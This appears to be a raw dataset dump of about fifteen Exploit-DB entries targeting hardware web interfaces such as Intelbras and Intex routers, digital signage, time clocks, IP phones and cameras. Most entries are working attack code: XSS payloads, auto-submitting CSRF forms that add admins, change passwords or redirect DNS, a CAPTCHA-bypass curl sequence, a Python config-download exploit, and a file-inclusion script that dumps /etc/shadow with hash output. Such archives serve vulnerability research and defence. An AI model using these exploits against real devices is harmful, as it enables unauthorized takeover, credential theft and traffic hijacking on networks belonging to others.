deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43158
Description: Icon Time Systems RTC-1000 Firmware 2.5.7458 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2017-11-17
Author: Keith Thome

Exploit:
# Exploit Title: Icon Time Systems RTC-1000 (<= v2.5.7458) Universal Time Clocks Stored XSS Vulnerability
# Date: 17-11-2017
# Vendor: http://www.icontime.com/
# Version: <= v2.5.7458
# Exploit Author: Keith Thome
# Contact: https://twitter.com/keiththome
# Website: https://www.keiththome.com/rtc-1000-vuln
# CVE: CVE-2017-16819
# Type: Remote
# Platform: Hardware

==========================================================

# Introduction
The Icon Time Systems RTC-1000 (firmware v2.5.7458 and below) Universal Time Clock device is susceptible to a stored Cross Site Scripting (XSS) vulnerability that facilitates session hijacking. Injecting a session hijacking XSS payload into the ‘First Name’ field of an employee record on the employee.html webpage results in payload execution wherever this employee's first name appears in subsequent webpages. Caveat: To exploit this vulnerability, the attacker does need valid credentials to access the device and those credentials must have permissions to change employee names.

==========================================================

# Vulnerable URL (Employee Maintenance Module)
/employee.html

# Vulnerable parameter(s)
- First Name input ID: nameFirst

# Sample payload
<script>alert("xss");</script>

==========================================================

# PROOF OF CONCEPT
- With valid credentials that has permissions to modify the employee records, access the employeelist.html page via Lists->Employees
- Click on an active employee or Show Inactive to modify an employee record.
- Click on the employee id or name to access the vulnerable employee.html page.
- In the First Name field, enter a XSS payload.
- Click Submit
- Once any user accesses a page where that employee's first name is displayed, the XSS will be executed. Ie. employeelist.html that lists all employees.

==========================================================

# Timeline
- 09/08/2017 - Vulnerability discovered.
- 09/15/2017 - Vendor informed.
- 09/19/2017 - Vendor informed.
- 09/19/2017 - Vendor acknowleged and indicated patch development underway.
- 10/24/2017 - Emailed vendor for update. No response.
- 11/17/2017 - Public Disclosure
Exploit-DB #48991
Description: iDS6 DSSPro Digital Signage System 6.2 - CAPTCHA Security Bypass
Type: webapps
Platform: hardware
Date: 2020-11-05
Author: LiquidWorm

Exploit:
# Exploit Title: iDS6 DSSPro Digital Signage System 6.2 - CAPTCHA Security Bypass
# Date: 2020-07-16
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.yerootech.com
# Version: 6.2

iDS6 DSSPro Digital Signage System 6.2 CAPTCHA Security Bypass


Vendor: Guangzhou Yeroo Tech Co., Ltd.
Product web page: http://www.yerootech.com
Affected version: V6.2 B2014.12.12.1220
                  V5.6 B2017.07.12.1757
                  V4.3

Summary: iDS6 Software's DSSPro network digital signage management
system is a web-based server software solution for Windows.

Desc: The CAPTCHA function for DSSPro is prone to a security bypass
vulnerability that occurs in the CAPTCHA authentication routine. By
requesting the autoLoginVerifyCode object an attacker can receive a
JSON message code and successfully bypass the CAPTCHA-based authentication
challenge and perform brute-force attacks.

Tested on: Microsoft Windows XP
           Microsoft Windows 7
           Microsfot Windows Server 2008
           Microsoft Windows Server 2012
           Microsoft Windows 10
           Apache Tomcat/8.0.44
           Apache Tomcat/6.0.35
           Apache-Coyote/1.1
           Apache Axis/1.4
           MySQL 5.5.25
           Java 1.8.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5607
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5607.php


16.07.2020

--


Get CAPTCHA code:
-----------------

$ curl -i http://192.168.1.88/Pages/login\!autoLoginVerifyCode -c cookies.txt

{"success":true,"message":"6435","data":"6435"}


Use CAPTCHA code:
-----------------

$ curl -i http://192.168.1.88/Pages/login\!userValidate -b cookies.txt -d "shortName=&user.userName=boss&user.[CREDENTIAL_REDACTED]=6435&autoSave=true&autoLogin=true&domain_login=" -v

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: cookie.username=boss; Expires=Wed, 21-Jul-2021 19:41:26 GMT
Set-Cookie: cookie.password=boss; Expires=Wed, 01-Jul-2021 19:41:26 GMT
Set-Cookie: cookie.autosave=true; Expires=Wed, 01-Jul-2021 19:41:26 GMT
Set-Cookie: cookie.autologin=true; Expires=Wed, 01-Jul-2021 19:41:26 GMT
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/x-json;charset=UTF-8
Date: Tue, 21 Jul 2020 19:41:26 GMT
Connection: close
Content-Length: 16

{"success":true}
Exploit-DB #48990
Description: iDS6 DSSPro Digital Signage System 6.2 - Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: hardware
Date: 2020-11-05
Author: LiquidWorm

Exploit:
# Exploit Title: iDS6 DSSPro Digital Signage System 6.2 - Cross-Site Request Forgery (CSRF)
# Date: 2020-07-16
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.yerootech.com
# Version: 6.2

iDS6 DSSPro Digital Signage System 6.2 Cross-Site Request Forgery (CSRF)


Vendor: Guangzhou Yeroo Tech Co., Ltd.
Product web page: http://www.yerootech.com
Affected version: V6.2 B2014.12.12.1220
                  V5.6 B2017.07.12.1757
                  V4.3

Summary: iDS6 Software's DSSPro network digital signage management system
is a web-based server software solution for Windows.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: Microsoft Windows XP
           Microsoft Windows 7
           Microsfot Windows Server 2008
           Microsoft Windows Server 2012
           Microsoft Windows 10
           Apache Tomcat/8.0.44
           Apache Tomcat/6.0.35
           Apache-Coyote/1.1
           Apache Axis/1.4
           MySQL 5.5.25
           Java 1.8.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5606
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5606.php


16.07.2020

--


Add user:
---------

<html>
  <body>
    <form action="http://192.168.1.88/Pages/user!addUser" method="POST">
      <input type="hidden" name="user.userName" value="testingus" />
      <input type="hidden" name="user.password" value="zeroscience" />
      <input type="submit" value="add()" />
    </form>
  </body>
</html>
Exploit-DB #37135
Description: iGuard Security Access Control Device Firmware 3.6.7427A - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2012-05-02
Author: Usman Saeed

Exploit:
source: https://www.securityfocus.com/bid/53355/info

iGuard Security Access Control is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input in the embedded web server.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/></font><IFRAME SRC="JAVASCRIPT:alert('XSS Found by Usman Saeed , Xc0re Security Research Group');">.asp
Exploit-DB #40629
Description: Industrial Secure Routers EDR-810 / EDR-G902 / EDR-G903 - Insecure Configuration Management
Type: webapps
Platform: hardware
Date: 2016-10-24
Author: Sniper Pex

Exploit:
Title: Industrial Secure Routers - Insecure Configuration Management
Type: Local/Remote
Author: Nassim Asrir
Author Company: HenceForth
Impact: Insecure Configuration Management
Risk: (4/5)
Release Date: 22.10.2016

Summary:
Moxa's EDR series industrial Gigabit-performance secure routers are designed to protect the control networks of critical facilities while maintaining fast data transmissions.
The EDR series security routers provides integrated cyber security solutions that combine industrial firewall, VPN, router, and L2 switching* functions into one product specifically 
designed for automation networks,which protects the integrity of remote access and critical devices.

description:

Using this Vulnerability we can change the Admin configuration without knowing Password & Username

Because the form for change the configurations is Insecure.

Vendor:
http://www.moxa.com/product/Industrial_Secure_Routers.htm

Affected Version:
EDR-810, EDR-G902 and EDR-G903

Tested On:
Linux // Dist (Bugtraq 2)

Vendor Status:
I told them and i wait for the answer.

PoC:
- when you navigate the server automatically you redirect to the login page (http://site/login.asp).

- so Just add in the end of URL (admin.htm) then you get the Form to change the Admin configurations.

Credits
Vulnerability discovered by Nassim Asrir  - <wassline@gmail.com>
Exploit-DB #46770
Description: Intelbras IWR 3000N 1.5.0 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2019-04-30
Author: Social Engineering Neo

Exploit:
<!--
    PoC based on CVE-2019-11416 created by Social Engineering Neo.

    Credit: https://1.337.zone/2019/04/08/intelbras-iwr-3000n-1-5-0-csrf-lead-to-router-takeover/

    Due to inexistent authorization on router API on authenticated IP addresses, an attacker can use this weak spot to change router configurations and take the current administrator password.

    Upgrade to latest firmware version iwr-3000n-1.8.7_0 for 3000n routers to prevent this issue.
-->

<!DOCTYPE html>
<html lang="en">
    <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <meta http-equiv="X-UA-Compatible" content="ie=edge">
            <title>IWR 3000N - CSRF on authenticated administrator</title>
    </head>
    <body>
        <button onclick="exploit()">Exploit!</button>
        <p>Click the button to get the login and password.</p>
        <script>
            function exploit(){
                $.get( "http://localhost:80/v1/system/user" )
                .done(( data ) => {
                    alert( data );
                })
                .fail(function( err, status) {
                    alert( status );
                });
            }
        </script>
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    </body>
</html>
Exploit-DB #49969
Description: Intelbras Router RF 301K - 'DNS Hijacking' Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: hardware
Date: 2021-06-09
Author: Rodolfo Mariano

Exploit:
# Exploit Title: Intelbras Router RF 301K - 'DNS Hijacking' Cross-Site Request Forgery (CSRF)
# Date: 01/05/2021
# Exploit Author: Rodolfo Mariano
# Version: Firmware 1.1.2-1.1.5
# CVE: 2021-32403

# Exploit Code: 
<html>
    <form action="http://10.0.0.1/goform/setSysTools" method="POST">
        <input name="module3" value="lanCfg" type="hidden">
        <input name="lanIP" value="10.0.0.1" type="hidden">
        <input name="lanMask" value="255.255.255.0" type="hidden">
        <input name="dhcpEn" value="true" type="hidden">
        <input name="lanDhcpStartIP" value="10.0.0.100" type="hidden">
        <input name="lanDhcpEndIP" value="10.0.0.200" type="hidden">
        <input name="lanDns1" value="192.168.0.30" type="hidden">
        <input name="lanDns2" value="" type="hidden">
    </form>
    <script>
        document.forms[0].submit();
    </script>
</html>
Exploit-DB #49126
Description: Intelbras Router RF 301K 1.1.2 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2020-11-30
Author: Kaio Amaral

Exploit:
# Exploit Title: Intelbras Router RF 301K 1.1.2 - Authentication Bypass
# Date: 27/11/2020
# Exploit Author: Kaio Amaral
# Vendor Homepage: https://www.intelbras.com/pt-br/
# Software Link: http://backend.intelbras.com/sites/default/files/2020-10/RF301K_v1.1.2.zip
# Version: firmware version 1.1.2
# Tested on: kali, android

# POC

# 1. nc host port, ex: nc 10.0.0.1 80
# 2. GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.0

# Python3

import socket
from time import sleep

def exploit(host, port=80):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    pay = "GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.0\n\n".encode()
    s.connect((host, port))
    s.send(pay)
    sleep(0.2)
    data = s.recv(17576)
    if len(data) > 1000:
        print("[+] Success.")
        return data.decode()
    print("[-] Failed. ")
    exit()

def file(data):
    with open("router.cfg", "w") as file:
        file.write(data[233:])
    print("[+] File Successfully Written.")

file(exploit("10.0.0.1"))
Exploit-DB #47738
Description: Intelbras Router RF1200 1.1.3 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2019-12-03
Author: Prof. Joas Antonio

Exploit:
# Exploit Title: Intelbras Router RF1200 1.1.3 - Cross-Site Request Forgery 
# Date: 2019-11-06
# Exploit Author: Joas Antonio
# Vendor Homepage: intelbras.com.br
# Software Link: https://www.intelbras.com/pt-br/roteador-wireless-smart-dual-band-action-rf-1200
# Version: 1.1.3 (REQUIRED)
# Tested on: Windows
# CVE : CVE-2019-19516

#POC1: 
<html>
	<body>
		<form method="POST" action="http://IPROUTERRF1200/login/Auth">
			<input type="hidden" name="username" value="admin"/>
			<input type="hidden" name="password" value="21232f297a57a5a743894a0e4a801fc3"/> <!-- password admin -->
			<input type="submit" value="Submit">
		</form>
	</body>
<html>
Exploit-DB #47545
Description: Intelbras Router WRN150 1.0.18 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2019-10-28
Author: Prof. Joas Antonio

Exploit:
Exploit Title: Intelbras Router WRN150 1.0.18 - Cross-Site Request Forgery
Date: 2019-10-25
Exploit Author: Prof. Joas Antonio
Vendor Homepage: https://www.intelbras.com/pt-br/
Software Link: http://en.intelbras.com.br/node/25896
Version: 1.0.18
Tested on: Windows
CVE : N/A

####################
# PoC1: https://www.youtube.com/watch?v=V188HHDMbGM&feature=youtu.be

<html>
  <body>
    <form action="http://10.0.0.1/goform/SysToolChangePwd" method="POST">
	<input type="hidden" name="GO" value="system_password.asp">
	<input type="hidden" name="SYSPSC" value="0">
      	<input class="text" type="password" name="SYSOPS" value="hack123"/> 
	<input class="text" type="password" name="SYSPS" value="mrrobot"/> 
	<input class="text" type="password" name="SYSPS2" value="mrrobot"/> 
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
Exploit-DB #47491
Description: Intelbras Router WRN150 1.0.18 - Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2019-10-11
Author: Prof. Joas Antonio

Exploit:
# Exploit Title: Intelbras Router WRN150 1.0.18 - Persistent Cross-Site Scripting
# Date: 2019-10-03
# Exploit Author: Prof. Joas Antonio
# Vendor Homepage: https://www.intelbras.com/pt-br/
# Software Link: http://en.intelbras.com.br/node/25896
# Version: 1.0.18
# Tested on: Windows
# CVE : CVE-2019–17411

# PoC 1:

1) Login to your router

2) After signing in as WAN Settings

3) Select for PPPOE mode

4) In the Service Name and Server Name field, enter any of these payloads:

<script> alert ("Hacked") </script>

<script> alert (1) </script>

# PoC burp.txt

POST /goform/AdvSetWan HTTP/1.1
Host: TARGET
Content-Length: 281
Cache-Control: max-age=0
Origin: http://TARGET
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://TARGET/wan_connected.asp
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: ecos_pw=bWFkYXJhMTIxMQ==2dw:language=pt
Connection: close
Exploit-DB #44317
Description: Intelbras Telefone IP TIP200 LITE - Local File Disclosure
Type: webapps
Platform: hardware
Date: 2018-03-20
Author: anhax0r

Exploit:
# Exploit Title: [INTELBRAS TELEFONE IP TIP200/200 LITE Local File Include]
# Google Dork: []
# Date: 16/03/2018
# Exploit Author: [Matheus Goncalves - anhax0r]
# Vendor Homepage: [https://www.facebook.com/anhaxteam/]
# Software Link: []
# Version: [60.0.75.29] (REQUIRED)
# Tested on: [Debian]
# CVE : [if applicable]


#Remember that you need login with admin credentials to download files !!! in this case, i used default credentials

import requests as http
import subprocess
import os
from requests.auth import HTTPBasicAuth
def poc():
    print("""                -------------------------------------------------------------------------------------------------------------
                ------------- 0day: TELEFONE IP TIP200/200 LITE | Local File Include | Local File Download-------------------
                -------------      P0c Author: Matheus Goncalves | Pentester at Anhax Security Team       -------------------
                -------------------------------------------------------------------------------------------------------------\n""")
    filename = raw_input("filename Ex: /etc/shadow: -> ")
    if(filename == ""):
        filename="/etc/shadow"
    r = http.get("http://192.168.0.207/cgi-bin/cgiServer.exx?page="+str(filename), auth=HTTPBasicAuth('admin', 'admin'))
    print(" ")
    text = r.text
    
    print(text)
    savefile = raw_input("Save file? [Y\\n]: ")
    savefile.upper()
    if(savefile=="Y" or savefile=="y"):
        os.system("echo '"+text+"' > "+filename.replace("/etc/", ""))
        print("File saved !!")
        start()
    else:
        start()
            
def start():
    poc()
    
start()


#root@hax:~/itscanner# python p0c.py 
#                -------------------------------------------------------------------------------------------------------------
#                ------------- 0day: TELEFONE IP TIP200/200 LITE | Local File Include |-------------------
#                -------------      P0c Author: Matheus Goncalves | Pentester at Anhax Security Team       -------------------
#                -------------------------------------------------------------------------------------------------------------
#filename Ex: /etc/shadow: -> /etc/shadow
 
#root:$1$83hUAZ/2$GKlGOZlepa6eikA6mfG1l/:11876:0:99999:7:::
#admin:DP7Kg4tE0Y9rs:11876:0:99999:7:::

#Save file? [Y\n]: y
#File saved !!

#root@hax:~/itscanner# cat shadow 
#root:$1$83hUAZ/2$GKlGOZlepa6eikA6mfG1l/:11876:0:99999:7:::
#admin:DP7Kg4tE0Y9rs:11876:0:99999:7:::
Exploit-DB #48158
Description: Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload)
Type: webapps
Platform: hardware
Date: 2020-03-02
Author: Elber Tavares

Exploit:
# Exploit Title: Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload)
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage:  https://www.intelbras.com/
# Software Link:  http://en.intelbras.com.br/node/1033
# Version: Intelbras Wireless N 150Mbps - WRN240
# Tested on: linux, windows
# CVE: CVE-2019-19142

Intelbras WRN240 devices do not require authentication to replace the
firmware via a POST request to the incoming/Firmware.cfg URI.

REFS:
 https://fireshellsecurity.team/hack-n-routers/
 https://github.com/ElberTavares/routers-exploit/


Poc:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer:
http://192.168.0.1/userRpm/BakNRestoreRpm.htm" -F data=@config.bin
http://192.1680.1/incoming/RouterBakCfgUpload.cfg
Exploit-DB #14521
Description: Intellinet IP Camera MNC-L10 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2010-08-01
Author: Magnefikko

Exploit:
by Magnefikko
Discovered: 25.01.2009
Publication: 01.08.2010
magnefikko@gmail.com
Promhyl Studies :: http://promhyl.tk
Inj3ct0r Team :: http://inj3ct0r.com
Subgroup: #PRekambr
Name: Intellinet IP Camera Admin Access
Platform: Intellinet IP Camera MNC-L10 and other


...:: Exploit ::...

JS is required.

1. Go to http://cameraip/main_configure.cgi
2. Write in address bar:
--- code ---
javascript:document.cookie="user_auth_level=43";document.location=document.location
--- code ---
3. Push enter.

or add cookie with another method.


----== Promhyl Studies :: http://promhyl.tk ==----
----== Inj3ct0r Team :: http://inj3ct0r.com ==----
Exploit-DB #44939
Description: Intex Router N-150 - Arbitrary File Upload
Type: webapps
Platform: hardware
Date: 2018-06-25
Author: Samrat Das

Exploit:
# Exploit Title:‚Äã‚Äã Intex Router N-150 - Arbitrary File Upload
# Date: 2018-06-23
# Exploit Author: Samrat Das
# Version: N-150
# CVE : N/A
# Category: Router Firmware

# 1. Description
# The firmware allows malicious files to be uploaded without any checking of
# extensions and allows filed to be uploaded.

# 2. Proof of Concept

- Visit the application
- Go to the advanced settings post login
- Under backup- restore page upload any random file extension and hit go.
- Upon the file being upload, the firmware will get rebooted accepting the arbitrary file.
Exploit-DB #44933
Description: Intex Router N-150 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: hardware
Date: 2018-06-25
Author: Samrat Das

Exploit:
# Exploit Title:​​ Intex Router N-150 - Cross-Site Request Forgery (Add Admin)
# Date: 2018-06-23
# Exploit Author: Navina Asrani
# Version: N-150
# CVE : N/A
# Category: Router Firmware

# 1. Description
# The firmware allows malicious request to be executed without verifying
# source of request. This leads to arbitrary execution with malicious request
# which will lead to the creation of a privileged user..

# 2. Proof of Concept
# Visit the application
# Go to any router setting modification page and change the values,
# create a request and observe the lack of CSRF tokens.
# Craft an html page with all the details for the built-in admin
# user creation and host it on a server
# Upon the link being clicked by a logged in admin user,
# immediately, the action will get executed
# Exploitation Technique: A attacker can create a rogue admin user to gain
# access to the application.

# Exploit code:
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.0.1/goform/WizardHandle" method="POST">
      <input type="hidden" name="GO" value="index&#46;asp" />
      <input type="hidden" name="v12&#95;time" value="[PII_REDACTED]&#46;425" />
      <input type="hidden" name="WANT1" value="3" />
      <input type="hidden" name="isp" value="3" />
      <input type="hidden" name="PUN" value="testuser&#95;k" />
      <input type="hidden" name="PPW" value="123456" />
      <input type="hidden" name="SSID" value="testwifiap" />
      <input type="hidden" name="wirelesspassword" value="00000000" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>